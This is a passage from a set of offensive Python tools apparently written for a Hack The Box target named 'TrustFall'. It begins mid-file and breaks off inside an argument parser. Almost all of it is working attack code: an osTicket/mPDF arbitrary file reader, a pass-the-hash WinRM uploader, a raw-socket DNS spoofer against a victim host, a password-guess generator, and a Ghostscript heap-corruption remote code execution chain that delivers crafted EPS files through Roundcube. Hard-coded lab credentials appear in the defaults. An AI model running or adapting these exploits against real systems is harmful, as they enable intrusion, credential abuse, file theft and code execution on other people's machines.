                            if hashlib.sha256(item[0]).digest() not in self.payload_hashes]
            if not new_payloads:
                status = {"path": path, "status": "missing-or-unreadable", "ticket_id": self.ticket_id}
                print(f"[-] {path}: missing or unreadable", flush=True)
            else:
                data, complete = new_payloads[-1]
                destination = self.save(path, data, complete)
                status = {
                    "path": path,
                    "status": "saved" if complete else "saved-truncated",
                    "bytes": len(data),
                    "ticket_id": self.ticket_id,
                    "local_path": str(destination),
                }
                suffix = "" if complete else " (TRUNCATED)"
                print(f"[+] {path}: {len(data)} bytes{suffix}", flush=True)
            self.payload_count = len(found)
            self.payload_hashes = {hashlib.sha256(item[0]).digest() for item in found}
            with status_path.open("a") as status_file:
                status_file.write(json.dumps(status) + "\n")


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--ip", default="10.129.114.157")
    parser.add_argument("--host", default="ticket.trustfall.htb")
    parser.add_argument("--cookie-jar", type=Path, default=Path("/tmp/ost3.cookie"))
    parser.add_argument("--generator", type=Path,
                        default=Path("/tmp/CVE-2026-22200/osticket_ticket_payload_gen.py"))
    parser.add_argument("--output", type=Path,
                        default=Path("/home/ronin/code/htb/trustfall/loot/file_read/systematic"))
    parser.add_argument("--batch-size", type=int, default=8)
    parser.add_argument("--ticket-id", type=int,
                        help="Reuse an already accessible ticket for the first batch")
    parser.add_argument("--encoding", choices=("plain", "b64", "b64zlib"),
                        default="b64")
    parser.add_argument("paths", nargs="*")
    args = parser.parse_args()
    paths = args.paths or DEFAULT_PATHS
    collector = Collector(args.ip, args.host, args.cookie_jar, args.generator,
                          args.output, args.batch_size, args.encoding)
    collector.ticket_id = args.ticket_id
    collector.collect(paths)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

tools/psrp_hash_push.py


#!/usr/bin/env python3
"""Push a file through PSRP/WinRM using an NTLM LM:NT hash in chunks."""

import argparse
import base64
from pathlib import Path

from pypsrp.powershell import PowerShell, RunspacePool
from pypsrp.wsman import WSMan


def invoke(pool: RunspacePool, script: str) -> None:
    powershell = PowerShell(pool)
    powershell.add_script(script)
    output = powershell.invoke()
    if powershell.had_errors:
        raise RuntimeError("; ".join(str(item) for item in powershell.streams.error))
    for item in output:
        print(item)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--server", required=True)
    parser.add_argument("--port", type=int, default=5985)
    parser.add_argument("--username", required=True)
    parser.add_argument("--hashes", required=True)
    parser.add_argument("--chunk-size", type=int, default=48 * 1024)
    parser.add_argument("local_path", type=Path)
    parser.add_argument("remote_path")
    args = parser.parse_args()

    connection = WSMan(
        args.server,
        port=args.port,
        ssl=False,
        auth="ntlm",
        username=args.username,
        password=args.hashes,
        encryption="auto",
        no_proxy=True,
    )
    remote = args.remote_path.replace("'", "''")
    data = args.local_path.read_bytes()

    with RunspacePool(connection) as pool:
        invoke(pool, f"[IO.File]::WriteAllBytes('{remote}',[byte[]]@())")
        for offset in range(0, len(data), args.chunk_size):
            encoded = base64.b64encode(data[offset : offset + args.chunk_size]).decode()
            invoke(
                pool,
                "$b=[Convert]::FromBase64String('"
                + encoded
                + "');$f=[IO.File]::Open('"
                + remote
                + "',[IO.FileMode]::Append,[IO.FileAccess]::Write,[IO.FileShare]::Read);"
                "$f.Write($b,0,$b.Length);$f.Close()",
            )
        invoke(pool, f"(Get-Item '{remote}').Length")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

tools/wpad_dns_spoof.py


#!/usr/bin/env python3
"""Answer one targeted DNS A lookup observed on an Ethernet interface."""

import argparse
import socket
import struct
import time


def checksum(data):
    if len(data) & 1:
        data += b"\x00"
    total = sum(struct.unpack(f"!{len(data) // 2}H", data))
    total = (total & 0xFFFF) + (total >> 16)
    total = (total & 0xFFFF) + (total >> 16)
    return (~total) & 0xFFFF


def mac_bytes(value):
    return bytes.fromhex(value.replace(":", ""))


def parse_qname(packet, offset):
    labels = []
    cursor = offset
    while cursor < len(packet):
        length = packet[cursor]
        cursor += 1
        if length == 0:
            break
        if length & 0xC0 or cursor + length > len(packet):
            return None, None
        labels.append(packet[cursor:cursor + length].decode("ascii", "ignore"))
        cursor += length
    return ".".join(labels).lower(), cursor


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--iface", required=True)
    parser.add_argument("--victim-ip", required=True)
    parser.add_argument("--victim-mac", required=True)
    parser.add_argument("--dns-ip", required=True)
    parser.add_argument("--name", required=True)
    parser.add_argument("--answer", required=True)
    args = parser.parse_args()

    victim_mac = mac_bytes(args.victim_mac)
    attacker_mac = mac_bytes(open(f"/sys/class/net/{args.iface}/address").read().strip())
    sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
    sock.bind((args.iface, 0))
    recent = {}
    wanted = args.name.rstrip(".").lower()
    print(f"watching {args.victim_ip} DNS A {wanted} -> {args.answer}", flush=True)

    while True:
        packet = sock.recv(65535)
        if len(packet) < 42 or packet[12:14] != b"\x08\x00":
            continue
        # Ignore forwarded/output copies; only accept the victim's inbound frame.
        if packet[6:12] != victim_mac or packet[0:6] != attacker_mac:
            continue
        ip = packet[14:]
        ihl = (ip[0] & 0x0F) * 4
        if len(ip) < ihl + 20 or ip[9] != 17:
            continue
        if socket.inet_ntoa(ip[12:16]) != args.victim_ip or socket.inet_ntoa(ip[16:20]) != args.dns_ip:
            continue
        udp = ip[ihl:]
        src_port, dst_port, udp_len, _ = struct.unpack("!HHHH", udp[:8])
        if dst_port != 53 or udp_len < 20 or len(udp) < udp_len:
            continue
        dns = udp[8:udp_len]
        txid, flags, qdcount, _, _, _ = struct.unpack("!HHHHHH", dns[:12])
        if flags & 0x8000 or qdcount != 1:
            continue
        qname, qend = parse_qname(dns, 12)
        if qname != wanted or qend is None or qend + 4 > len(dns):
            continue
        qtype, qclass = struct.unpack("!HH", dns[qend:qend + 4])
        if qtype != 1 or qclass != 1:
            continue
        key = (txid, src_port)
        now = time.monotonic()
        if now - recent.get(key, 0) < 2:
            continue
        recent[key] = now

        question = dns[12:qend + 4]
        answer = b"\xc0\x0c" + struct.pack("!HHIH", 1, 1, 30, 4) + socket.inet_aton(args.answer)
        dns_response = struct.pack("!HHHHHH", txid, 0x8180, 1, 1, 0, 0) + question + answer
        udp_length = 8 + len(dns_response)
        udp_header = struct.pack("!HHHH", 53, src_port, udp_length, 0)
        pseudo = socket.inet_aton(args.dns_ip) + socket.inet_aton(args.victim_ip)
        pseudo += struct.pack("!BBH", 0, 17, udp_length)
        udp_sum = checksum(pseudo + udp_header + dns_response)
        udp_header = struct.pack("!HHHH", 53, src_port, udp_length, udp_sum or 0xFFFF)

        total_length = 20 + udp_length
        ip_header = struct.pack(
            "!BBHHHBBH4s4s",
            0x45,
            0,
            total_length,
            txid,
            0,
            64,
            17,
            0,
            socket.inet_aton(args.dns_ip),
            socket.inet_aton(args.victim_ip),
        )
        ip_sum = checksum(ip_header)
        ip_header = ip_header[:10] + struct.pack("!H", ip_sum) + ip_header[12:]
        frame = victim_mac + attacker_mac + b"\x08\x00" + ip_header + udp_header + dns_response
        sock.send(frame)
        print(f"spoofed txid={txid:#06x} port={src_port}", flush=True)


if __name__ == "__main__":
    main()

trustfall_candidates.py

#!/usr/bin/env python3

names = ("Santiago", "Alejandro", "Salvador")
departments = (
    "IT", "HR", "SALES", "SUPPORT", "HELPDESK", "FINANCE", "ADMIN",
    "OPERATIONS", "MARKETING", "ENGINEERING", "DEV", "DEVELOPMENT",
    "SECURITY", "SOC", "NETWORK", "NETWORKING", "INFRASTRUCTURE",
    "SYSTEMS", "SYSADMIN", "MANAGEMENT", "LEGAL", "PROCUREMENT",
    "ACCOUNTING", "CUSTOMER", "SERVICE", "MAIL", "TECH", "TECHNICAL",
    "ADMINISTRATION", "EXECUTIVE", "DEPARTMENT", "DESKTOP", "ENDPOINT",
    "DEVOPS", "SOFTWARE", "WEB", "QA", "QUALITY", "PROJECT", "PRODUCT",
    "RESEARCH", "RND", "DATABASE", "DBA", "CLOUD", "AUDIT", "COMPLIANCE",
    "RISK", "INFOSEC", "CYBERSECURITY", "LOGISTICS", "WAREHOUSE", "OFFICE",
    "FACILITIES", "BUSINESS", "CUSTOMERSERVICE", "CUSTOMERSUPPORT",
    "INFORMATIONTECHNOLOGY", "HUMANRESOURCES", "PUBLICRELATIONS", "PR",
    "TI", "VENTAS", "SOPORTE", "FINANZAS", "ADMINISTRACION", "OPERACIONES",
    "MARKETING", "INGENIERIA", "SEGURIDAD", "SISTEMAS", "REDES",
    "RECURSOSHUMANOS", "CONTABILIDAD", "COMPRAS", "LEGAL",
)

for company in ("TrustFall", "Trustfall", "TRUSTFALL"):
    for base_name in names:
        for name in (base_name, base_name.lower(), base_name.upper()):
            for base_department in departments:
                for department in (
                    base_department.upper(),
                    base_department.lower(),
                    base_department.title(),
                ):
                    for year in range(1900, 2027):
                        for year_text in (str(year), str(year)[1:], str(year)[2:]):
                            print(f"{company}{department}{name}{year_text}!")

tools/trustfall_heap_rce.py

#!/usr/bin/env python3
"""Retryable end-to-end TrustFall Ghostscript heap-underwrite/IJS RCE chain.

The chain uses Salvador's two authenticated web applications:

1. Roundcube sends and thumbnails a crafted EPS attachment.
2. Ghostscript's CIDMap primitive forges a string reference and performs the
   calibrated two-byte underwrite of ``path_control_active``.
3. The osTicket/mPDF file-read primitive identifies that live ``gs`` process
   and discloses its mappings.
4. A first pointer targets a known ELF header so that same process discovers
   its live victim-array index; a second pointer targets path control.
5. The waiting Ghostscript process clears path control, configures a fresh IJS
   device, and reaches its ``sh -c`` server launcher to create a proof marker.

This is purpose-built for the TrustFall HTB target and intentionally validates
the expected heap-map size before releasing the corrupting pointer.
"""

from __future__ import annotations

import argparse
import concurrent.futures
import importlib.util
import re
import struct
import subprocess
import sys
import threading
import time
from dataclasses import dataclass
from datetime import datetime, timezone
from pathlib import Path

import requests


WORKSPACE = Path(__file__).resolve().parents[1]
PROBES = WORKSPACE / "probes"
BUILD = PROBES / "build_cidmap_opvp_forge.sh"
EXPLOIT = PROBES / "ghostscript-cidmap-opvp-forge-liveijsauto.eps"
CLEANUP = PROBES / "ghostscript-opvp-pointer-cleanup.eps"
MARKER_PATH = "/tmp/trustfall-cidmap-ijs-rce"
DIAG_PATHS = (
    "/tmp/trustfall-path-scan",
    "/tmp/trustfall-ijs-diag",
)
FORGE_INDEX_PATH = "/tmp/trustfall-forge-index"


def stamp() -> str:
    return datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ")


def log(message: str) -> None:
    print(f"[{datetime.now(timezone.utc).strftime('%H:%M:%S')}] {message}", flush=True)


def load_module(name: str, path: Path):
    spec = importlib.util.spec_from_file_location(name, path)
    if spec is None or spec.loader is None:
        raise RuntimeError(f"cannot import {path}")
    module = importlib.util.module_from_spec(spec)
    sys.modules[name] = module
    spec.loader.exec_module(module)
    return module


def load_netscape_cookies(session: requests.Session, path: Path) -> None:
    if not path.exists():
        return
    for line in path.read_text(errors="replace").splitlines():
        if not line or (line.startswith("#") and not line.startswith("#HttpOnly_")):
            continue
        fields = line.removeprefix("#HttpOnly_").split("\t")
        if len(fields) >= 7:
            session.cookies.set(fields[5], fields[6])


def roundcube_env(html: str, name: str) -> str:
    match = re.search(rf'"{re.escape(name)}":"([^"]+)"', html)
    if not match:
        raise RuntimeError(f"Roundcube environment value not found: {name}")
    return match.group(1)


class Roundcube:
    def __init__(self, args: argparse.Namespace):
        self.base = f"http://{args.ip}/"
        self.headers = {"Host": args.mail_host}
        self.username = args.mail_user
        self.password = args.mail_password
        self.recipient = args.mail_user
        self.thumbnail_delay = args.thumbnail_delay
        self.session = requests.Session()
        self.session.trust_env = False
        load_netscape_cookies(self.session, args.roundcube_cookie)

    def compose_context(self) -> tuple[str, str]:
        compose = self.session.get(
            self.base,
            params={"_task": "mail", "_action": "compose"},
            headers=self.headers,
            timeout=30,
        )
        compose.raise_for_status()
        if '"task":"login"' in compose.text:
            self.session.cookies.clear()
            page = self.session.get(self.base, headers=self.headers, timeout=30)
            page.raise_for_status()
            token = roundcube_env(page.text, "request_token")
            logged_in = self.session.post(
                self.base,
                data={
                    "_token": token,
                    "_task": "login",
                    "_action": "login",
                    "_timezone": "UTC",
                    "_url": "",
                    "_user": self.username,
                    "_pass": self.password,
                },
                headers=self.headers,
                timeout=30,
            )
            logged_in.raise_for_status()
            if '"task":"mail"' not in logged_in.text:
                raise RuntimeError("Roundcube login failed")
            compose = self.session.get(
                self.base,
                params={"_task": "mail", "_action": "compose"},
                headers=self.headers,
                timeout=30,
            )
            compose.raise_for_status()
        return roundcube_env(compose.text, "compose_id"), roundcube_env(
            compose.text, "request_token"
        )

    def send(self, attachment: Path, subject: str) -> tuple[str, str]:
        compose_id, token = self.compose_context()
        with attachment.open("rb") as handle:
            upload = self.session.post(
                self.base,
                params={
                    "_task": "mail",
                    "_action": "upload",
                    "_id": compose_id,
                    "_uploadid": "trustfall-rce",
                    "_from": "compose",
                    "_remote": "1",
                    "_token": token,
                },
                files={"_attachments[]": (attachment.name, handle, "image/x-eps")},
                headers=self.headers,
                timeout=30,
            )
        upload.raise_for_status()
        if '"action":"upload"' not in upload.text:
            raise RuntimeError("Roundcube attachment upload failed")

        sent = self.session.post(
            self.base,
            data={
                "_token": token,
                "_task": "mail",
                "_action": "send",
                "_id": compose_id,
                "_attachments": "",
                "_from": "3",
                "_to": self.recipient,
                "_subject": subject,
                "_message": "TrustFall rendering diagnostic.",
                "_store_target": "Sent",
            },
            headers=self.headers,
            timeout=60,
        )
        sent.raise_for_status()
        if "sent_successfully" not in sent.text:
            raise RuntimeError("Roundcube message send failed")

        for _ in range(20):
            time.sleep(1)
            listing = self.session.get(
                self.base,
                params={
                    "_task": "mail",
                    "_action": "list",
                    "_mbox": "INBOX",
                    "_refresh": "1",
                    "_remote": "1",
                    "_token": token,
                },
                headers=self.headers,
                timeout=30,
            )
            matches = re.findall(
                rf'this\.add_message_row\((\d+),\{{\\?"subject\\?":\\?"{re.escape(subject)}',
                listing.text,
            )
            if matches:
                return matches[-1], token
        raise RuntimeError("Roundcube message did not arrive in INBOX")

    def trigger(self, uid: str, token: str, timeout: int) -> requests.Response:
        return self.session.get(
            self.base,
            params={
                "_task": "mail",
                "_action": "get",
                "_mbox": "INBOX",
                "_uid": uid,
                "_part": "2",
                "_thumb": "1",
                "_token": token,
            },
            headers=self.headers,
            timeout=timeout,
        )

    def send_and_trigger(self, attachment: Path, subject: str, timeout: int = 90) -> requests.Response:
        uid, token = self.send(attachment, subject)
        log(f"Roundcube uid={uid} subject={subject!r}")
        if self.thumbnail_delay:
            log(f"thumbnail cooldown {self.thumbnail_delay:.1f}s")
            time.sleep(self.thumbnail_delay)
        return self.trigger(uid, token, timeout)


class FileRead:
    def __init__(self, args: argparse.Namespace, output: Path):
        file_module = load_module(
            "trustfall_osticket_file_exfil",
            WORKSPACE / "tools" / "osticket_file_exfil.py",
        )
        proc_module = load_module(
            "trustfall_osticket_proc_enum",
            WORKSPACE / "tools" / "osticket_proc_enum.py",
        )
        self.add_payload = proc_module.add_payload
        try:
            self.collector = file_module.Collector(
                args.ip,
                args.ticket_host,
                args.osticket_cookie,
                args.payload_generator,
                output,
                1,
                "b64zlib",
            )
        except (FileNotFoundError, RuntimeError):
            self.bootstrap_cookie(args)
            self.collector = file_module.Collector(
                args.ip,
                args.ticket_host,
                args.osticket_cookie,
                args.payload_generator,
                output,
                1,
                "b64zlib",
            )
        self.collector.request_timeout = args.osticket_timeout
        self.cooldown = args.ticket_cooldown
        self.args = args
        self.login()

    @staticmethod
    def bootstrap_cookie(args: argparse.Namespace) -> None:
        session = requests.Session()
        session.trust_env = False
        response = session.get(
            f"http://{args.ip}/login.php",
            headers={"Host": args.ticket_host},
            timeout=30,
        )
        response.raise_for_status()
        cookie = session.cookies.get("OSTSESSID")
        if not cookie:
            raise RuntimeError("osTicket did not issue an initial OSTSESSID")
        args.osticket_cookie.parent.mkdir(parents=True, exist_ok=True)
        args.osticket_cookie.write_text(
            "# Netscape HTTP Cookie File\n\n"
            f"#HttpOnly_.{args.ticket_host}\tTRUE\t/\tFALSE\t0\tOSTSESSID\t{cookie}\n"
        )

    def login(self) -> None:
        page = self.collector.request("GET", "/open.php")
        if "salvador@trustfall.htb" in page.text:
            return

        login = self.collector.request("GET", "/login.php")
        csrf = self.collector._csrf(login.text)
        posted = self.collector.request(
            "POST",
            "/login.php",
            data={
                "__CSRFToken__": csrf,
                "luser": self.args.portal_user,
                "lpasswd": self.args.portal_password,
            },
        )
        if posted.status_code not in (302, 303):
            raise RuntimeError(f"osTicket login failed: HTTP {posted.status_code}")
        check = self.collector.request("GET", "/open.php")
        if "salvador@trustfall.htb" not in check.text:
            raise RuntimeError("osTicket login did not establish a portal session")
        log("refreshed Salvador's osTicket session")

    def reset_ticket(self) -> None:
        self.collector.ticket_id = None
        self.collector.payload_count = 0
        self.collector.payload_hashes = set()

    def read(self, path: str) -> bytes | None:
        started = time.monotonic()
        log(f"file-read start path={path}")
        self.reset_ticket()
        self.collector.create_ticket()
        self.collector.add_path(path)
        found = self.collector.payloads(self.collector.render())
        if not found:
            log(
                f"file-read done path={path} result=missing "
                f"elapsed={time.monotonic() - started:.1f}s"
            )
            if self.cooldown:
                log(f"ticket cooldown {self.cooldown:.1f}s")
                time.sleep(self.cooldown)
            return None
        data, _complete = found[-1]
        log(
            f"file-read done path={path} bytes={len(data)} "
            f"elapsed={time.monotonic() - started:.1f}s"
        )
        if self.cooldown:
            log(f"ticket cooldown {self.cooldown:.1f}s")
            time.sleep(self.cooldown)
        return data

    def processes(self, first: int, last: int) -> list[tuple[int, str, int]]:
        started = time.monotonic()
        log(f"process census start range={first}..{last}")
        self.reset_ticket()
        self.collector.create_ticket()
        paths = [f"/proc/{pid}/status" for pid in range(first, last + 1)]
        self.add_payload(self.collector, paths)
        found: list[tuple[int, str, int]] = []
        for data, _complete in self.collector.payloads(self.collector.render()):
            pid_match = re.search(rb"^Pid:\s*(\d+)", data, re.MULTILINE)
            name_match = re.search(rb"^Name:\s*([^\n]+)", data, re.MULTILINE)
            uid_match = re.search(rb"^Uid:\s*(\d+)", data, re.MULTILINE)
            if pid_match and name_match and uid_match:
                found.append(
                    (
                        int(pid_match.group(1)),
                        name_match.group(1).decode(errors="replace"),
                        int(uid_match.group(1)),
                    )
                )
        log(
            f"process census done decoded={len(found)} "
            f"elapsed={time.monotonic() - started:.1f}s"
        )
        if self.cooldown:
            log(f"ticket cooldown {self.cooldown:.1f}s")
            time.sleep(self.cooldown)
        return found

    def process_maps(self, first: int, last: int) -> list[tuple[int, bytes]]:
        """Fetch status/maps pairs in one PDF render and retain GS mappings."""
        started = time.monotonic()
        log(f"combined status/maps census start range={first}..{last}")
        self.reset_ticket()
        self.collector.create_ticket()
        paths = [
            path
            for pid in range(first, last + 1)
            for path in (f"/proc/{pid}/status", f"/proc/{pid}/maps")
        ]
        self.add_payload(self.collector, paths)
        current_pid: int | None = None
        found: list[tuple[int, bytes]] = []
        for data, _complete in self.collector.payloads(self.collector.render()):
            pid_match = re.search(rb"^Pid:\s*(\d+)", data, re.MULTILINE)
            name_match = re.search(rb"^Name:\s*([^\n]+)", data, re.MULTILINE)
            uid_match = re.search(rb"^Uid:\s*(\d+)", data, re.MULTILINE)
            if pid_match and name_match and uid_match:
                current_pid = (
                    int(pid_match.group(1))
                    if name_match.group(1) == b"gs" and int(uid_match.group(1)) == 33
                    else None
                )
                continue
            if current_pid is not None and b"/usr/bin/gs" in data and b"[heap]" in data:
                found.append((current_pid, data))
                current_pid = None
        log(
            f"combined status/maps census done candidates={len(found)} "
            f"elapsed={time.monotonic() - started:.1f}s"
        )
        return found


@dataclass(frozen=True)
class GhostscriptProcess:
    pid: int
    heap_start: int
    heap_end: int
    maps: bytes


def make_pointer_writer(
    path: Path,
    address: int,
    remote_path: str,
    message: str,
    hold: bool = False,
) -> list[int]:
    raw = struct.pack("<Q", address)
    words = [raw[index] << 8 | raw[index + 1] for index in range(0, 8, 2)]
    text = (
        "%!PS-Adobe-3.0 EPSF-3.0\n"
        "%%BoundingBox: 0 0 240 72\n"
        f"/f ({remote_path}) (w) file def\n"
        f"f ({' '.join(str(word) for word in words)}\\n) writestring\n"
        "f closefile\n"
        + ("{} loop\n" if hold else "")
        + (
        "/Helvetica findfont 12 scalefont setfont\n"
        f"18 36 moveto ({message}) show\n"
        "showpage\n%%EOF\n"
        )
    )
    path.write_text(text)
    return words


def build_payload(args: argparse.Namespace) -> None:
    subprocess.run(
        ["bash", str(BUILD), "liveijsauto", str(args.victim_delta), "0"],
        cwd=WORKSPACE,
        check=True,
    )


def elf_probe_address(gs: GhostscriptProcess) -> int:
    """Return a readable mapping whose first byte is the ELF 0x7f marker."""
    for image in (rb"/usr/bin/gs", rb"/usr/lib/x86_64-linux-gnu/libgs.so.10.02"):
        match = re.search(
            rb"^([0-9a-f]+)-[0-9a-f]+\s+r--p\s+00000000\s+\S+\s+\S+\s+"
            + re.escape(image)
            + rb"$",
            gs.maps,
            re.MULTILINE,
        )
        if match:
            return int(match.group(1), 16)
    raise RuntimeError("could not locate a readable offset-zero ELF mapping")


def find_waiting_gs(
    oracle: FileRead,
    baseline: int,
    args: argparse.Namespace,
    attempt_dir: Path,
) -> GhostscriptProcess:
    # Reading ns_last_pid after the thumbnail starts gives a tight upper bound.
    last_raw = oracle.read("/proc/sys/kernel/ns_last_pid")
    if not last_raw:
        raise RuntimeError("could not read ns_last_pid")
    last = int(last_raw.strip())
    first = max(baseline - 4, last - args.pid_window)
    log(f"process census range={first}..{last} baseline={baseline}")

    candidates = [
        pid
        for pid, name, uid in oracle.processes(first, last)
        if name == "gs" and uid == 33
    ]
    if not candidates:
        raise RuntimeError("no www-data Ghostscript process found in census")

    for pid in sorted(candidates, reverse=True):
        maps = oracle.read(f"/proc/{pid}/maps")
        if not maps:
            continue
        (attempt_dir / f"gs-{pid}.maps").write_bytes(maps)
        match = re.search(
            rb"^([0-9a-f]+)-([0-9a-f]+)\s+rw-p\s+\S+\s+\S+\s+\S+\s+\[heap\]$",
            maps,
            re.MULTILINE,
        )
        if not match:
            continue
        start = int(match.group(1), 16)
        end = int(match.group(2), 16)
        size = end - start
        log(f"candidate gs pid={pid} heap={start:#x}-{end:#x} size={size:#x}")
        if size == args.expected_heap_size:
            return GhostscriptProcess(pid, start, end, maps)
    raise RuntimeError("Ghostscript found, but no heap map matched the calibrated size")


def find_waiting_gs_fast(
    oracle: FileRead,
    baseline: int,
    args: argparse.Namespace,
    attempt_dir: Path,
) -> GhostscriptProcess:
    first = max(1, baseline - 4)
    last = baseline + args.pid_window
    candidates = [
        pid
        for pid, name, uid in oracle.processes(first, last)
        if name == "gs" and uid == 33
    ]
    for pid in sorted(candidates, reverse=True):
        maps = oracle.read(f"/proc/{pid}/maps")
        if not maps:
            continue
        (attempt_dir / f"gs-{pid}.maps").write_bytes(maps)
        match = re.search(
            rb"^([0-9a-f]+)-([0-9a-f]+)\s+rw-p\s+\S+\s+\S+\s+\S+\s+\[heap\]$",
            maps,
            re.MULTILINE,
        )
        if not match:
            continue
        start = int(match.group(1), 16)
        end = int(match.group(2), 16)
        size = end - start
        log(f"candidate gs pid={pid} heap={start:#x}-{end:#x} size={size:#x}")
        if size == args.expected_heap_size:
            return GhostscriptProcess(pid, start, end, maps)
    raise RuntimeError("combined census did not find the waiting calibrated Ghostscript")


def read_last_pid(oracle: FileRead) -> int:
    raw = oracle.read("/proc/sys/kernel/ns_last_pid")
    if not raw:
        raise RuntimeError("could not establish PID baseline")
    return int(raw.strip())


def collect_diagnostics(oracle: FileRead, attempt_dir: Path) -> None:
    for remote in DIAG_PATHS:
        try:
            data = oracle.read(remote)
        except Exception as error:
            log(f"diagnostic {remote}: read error: {error}")
            continue
        if data is None:
            log(f"diagnostic {remote}: missing")
            continue
        destination = attempt_dir / Path(remote).name
        destination.write_bytes(data)
        log(f"diagnostic {remote}: {data.decode(errors='replace').strip()}")


def daemon_future(function, *args) -> concurrent.futures.Future:
    """Run a blocking request without making interpreter shutdown wait on it."""
    future: concurrent.futures.Future = concurrent.futures.Future()

    def worker() -> None:
        try:
            future.set_result(function(*args))
        except BaseException as error:
            future.set_exception(error)

    threading.Thread(target=worker, daemon=True).start()
    return future


def run_attempt(
    number: int,
    args: argparse.Namespace,
    root: Path,
) -> bool:
    attempt_dir = root / f"attempt-{number}"
    attempt_dir.mkdir(parents=True, exist_ok=True)
    if args.resume_baseline is None:
        log(f"attempt {number}/{args.attempts}: cleaning stale pointer and marker")
        cleanup = Roundcube(args).send_and_trigger(
            CLEANUP,
            f"TrustFall RCE cleanup {root.name}-{number}",
            timeout=args.pointer_timeout,
        )
        (attempt_dir / "cleanup-response.bin").write_bytes(cleanup.content)

        oracle = FileRead(args, attempt_dir / "file-read")
        cleanup_ready = oracle.read(FORGE_INDEX_PATH)
        if not cleanup_ready or not re.match(rb"0\s+0(?:\s|$)", cleanup_ready):
            raise RuntimeError("cleanup renderer did not publish its completion stamp")
        log("cleanup completion stamp verified; stale pointers removed")
        baseline = read_last_pid(oracle)
        log(f"PID baseline={baseline}")
    else:
        baseline = args.resume_baseline
        log(f"fast resume: reusing completed cleanup and PID baseline={baseline}")
        oracle = FileRead(args, attempt_dir / "file-read")

    build_payload(args)
    exploit_mail = Roundcube(args)
    exploit_uid, exploit_token = exploit_mail.send(
        EXPLOIT, f"TrustFall heap RCE {root.name}-{number}"
    )
    log(f"exploit mail uid={exploit_uid}; starting blocking thumbnail")
    if args.thumbnail_delay:
        log(f"thumbnail cooldown {args.thumbnail_delay:.1f}s")
        time.sleep(args.thumbnail_delay)
    exploit_future = daemon_future(
        exploit_mail.trigger, exploit_uid, exploit_token, args.trigger_timeout
    )
    time.sleep(args.gs_start_delay)

    # Even in resume mode, derive the current PID ceiling after the thumbnail
    # starts.  A busy target may not spawn Ghostscript until well after mail
    # delivery, making a baseline+fixed-window census race the render queue.
    gs = find_waiting_gs(oracle, baseline, args, attempt_dir)
    probe = elf_probe_address(gs)
    writer1 = attempt_dir / "pointer-stage1-elf.eps"
    words1 = make_pointer_writer(
        writer1,
        probe,
        "/tmp/trustfall-opvp-pointer",
        "ELF calibration pointer delivered",
    )
    log(
        f"stage 1 for pid={gs.pid}: ELF probe={probe:#x} words={words1}"
    )
    try:
        pointer1_response = Roundcube(args).send_and_trigger(
            writer1,
            f"TrustFall ELF pointer {root.name}-{number}",
            timeout=args.pointer_timeout,
        )
        (attempt_dir / "pointer-stage1-response.bin").write_bytes(
            pointer1_response.content
        )
    except requests.RequestException as error:
        # A client timeout does not cancel the already queued server-side
        # thumbnail.  Synchronize on the exploit's padded readiness record.
        log(f"stage 1 HTTP ended with {type(error).__name__}; checking readiness")

    log(f"stage 1 delivered; waiting {args.calibration_wait:.1f}s for live calibration")
    time.sleep(args.calibration_wait)
    calibration = oracle.read(FORGE_INDEX_PATH)
    calibration_match = re.match(rb"(-?\d+)\s+(\d+)", calibration or b"")
    if not calibration_match or int(calibration_match.group(2)) < 0:
        raise RuntimeError("stage 1 did not publish a valid calibration record")
    (attempt_dir / "forge-index").write_bytes(calibration or b"")
    log(
        "stage 1 ready: delta="
        f"{int(calibration_match.group(1))} index={int(calibration_match.group(2))}"
    )

    # Stage 2 supplies only an aligned heap scan base.  The EPS validates the
    # full path-control structure in-process and rewinds to its active flag.
    target = gs.heap_start + args.path_scan_offset
    if not gs.heap_start <= target < gs.heap_end:
        raise RuntimeError(f"computed target {target:#x} is outside the heap")
    writer2 = attempt_dir / "pointer-stage2-path-control.eps"
    words2 = make_pointer_writer(
        writer2,
        target,
        "/tmp/trustfall-opvp-pointer2",
        "path control pointer delivered",
    )
    log(
        f"stage 2 for pid={gs.pid}: path scan base={target:#x} words={words2}"
    )
    try:
        pointer2_response = Roundcube(args).send_and_trigger(
            writer2,
            f"TrustFall path pointer {root.name}-{number}",
            timeout=args.pointer_timeout,
        )
        (attempt_dir / "pointer-stage2-response.bin").write_bytes(
            pointer2_response.content
        )
    except requests.RequestException as error:
        log(
            f"stage 2 HTTP ended with {type(error).__name__}; "
            "marker check remains authoritative"
        )

    try:
        exploit_response = exploit_future.result(timeout=args.response_wait)
        (attempt_dir / "exploit-response.bin").write_bytes(exploit_response.content)
        log(
            f"exploit thumbnail returned HTTP {exploit_response.status_code}, "
            f"type={exploit_response.headers.get('Content-Type')}, "
            f"bytes={len(exploit_response.content)}"
        )
    except concurrent.futures.TimeoutError:
        log("exploit thumbnail is still running; marker check is authoritative")
    except Exception as error:
        # The marker, rather than the failed IJS handshake, is authoritative.
        log(f"exploit thumbnail ended with {type(error).__name__}: {error}")

    for check in range(1, args.marker_checks + 1):
        marker = oracle.read(MARKER_PATH)
        if marker is not None:
            (attempt_dir / "rce-marker").write_bytes(marker)
            log(f"RCE CONFIRMED: {marker.decode(errors='replace').strip()}")
            if args.diagnostics:
                collect_diagnostics(oracle, attempt_dir)
            return True
        log(f"marker check {check}/{args.marker_checks}: absent")
        if check < args.marker_checks:
            time.sleep(2)
    if args.diagnostics:
        collect_diagnostics(oracle, attempt_dir)
    return False


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--ip", default="10.129.115.133")
    parser.add_argument("--attempts", type=int, default=1)
    parser.add_argument("--mail-host", default="mailsrv.trustfall.htb")
    parser.add_argument("--mail-user", default="salvador@trustfall.htb")
    parser.add_argument("--mail-password", default="TrustFallHRSalvador1988!")
    parser.add_argument("--ticket-host", default="ticket.trustfall.htb")
    parser.add_argument("--portal-user", default="salvador@trustfall.htb")
    parser.add_argument("--portal-password", default="TrustFallPortalSalvador2026!")
    parser.add_argument(
        "--roundcube-cookie", type=Path, default=Path("/tmp/rc.newtarget.cookie")
    )
    parser.add_argument(
